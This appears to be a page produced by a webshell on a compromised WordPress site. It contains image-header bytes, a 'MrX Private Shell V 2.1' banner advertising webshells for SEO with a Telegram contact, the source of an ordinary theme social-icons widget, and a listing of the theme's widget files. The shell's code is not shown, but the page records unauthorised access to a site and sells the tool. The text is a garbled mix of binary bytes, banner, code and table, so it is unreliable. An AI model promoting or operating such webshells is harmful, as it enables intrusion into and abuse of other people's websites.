����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
// Add Social Icons Widget
class Pmthemes_Social_Icons_Widget extends WP_Widget {
function __construct() {
// Setup Widget
parent::__construct(
'pmthemes_social_icons', // ID
sprintf( esc_html__( 'PM Social Icons', 'pmthemes' )), // Name
array(
'classname' => 'pmthemes_social_icons',
'description' => esc_html__( 'For sidebar. Displays Social Icons.', 'pmthemes' )
) // Args
);
}
function widget($args, $instance) {
$cache = wp_cache_get('widget_pmthemes_social_icons', 'widget');
if ( !is_array($cache) )
$cache = array();
if ( ! isset( $args['widget_id'] ) )
$args['widget_id'] = $this->id;
if ( isset( $cache[ $args['widget_id'] ] ) ) {
echo $cache[ $args['widget_id'] ];
return;
}
ob_start();
extract($args);
$title = apply_filters('widget_title', empty($instance['title']) ? '' : $instance['title'], $instance, $this->id_base);
// Output
echo $before_widget;
if ( !empty( $title ) ) { echo $before_title . $title . $after_title; };
?>
<div class="widget-social-icons social-icons-wrap clearfix">
<?php pmthemes_display_social_icons(); ?>
</div>
<?php
echo $after_widget;
$cache[$args['widget_id']] = ob_get_flush();
wp_cache_set('widget_pmthemes_social_icons', $cache, 'widget');
}
function update($new_instance, $old_instance) {
$instance = $old_instance;
$instance['title'] = isset($new_instance['title']) ? esc_attr($new_instance['title']) : '';
$this->flush_widget_cache();
return $instance;
}
function flush_widget_cache() {
wp_cache_delete('widget_pmthemes_social_icons', 'widget');
}
function form($instance) {
$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
$title = isset($instance['title']) ? esc_attr($instance['title']) : '';
?>
<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></label></p>
<?php
}
}
?>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| popular-posts.php | File | 6.23 KB | 0644 |
|
| posts-boxed.php | File | 8.84 KB | 0644 |
|
| posts-columns.php | File | 11.12 KB | 0644 |
|
| posts-grid.php | File | 10.14 KB | 0644 |
|
| posts-single.php | File | 7.77 KB | 0644 |
|
| recent-comments.php | File | 7.1 KB | 0644 |
|
| recent-posts.php | File | 11.68 KB | 0644 |
|
| social-icons.php | File | 2.2 KB | 0644 |
|
| tabbed-content.php | File | 18.76 KB | 0644 |
|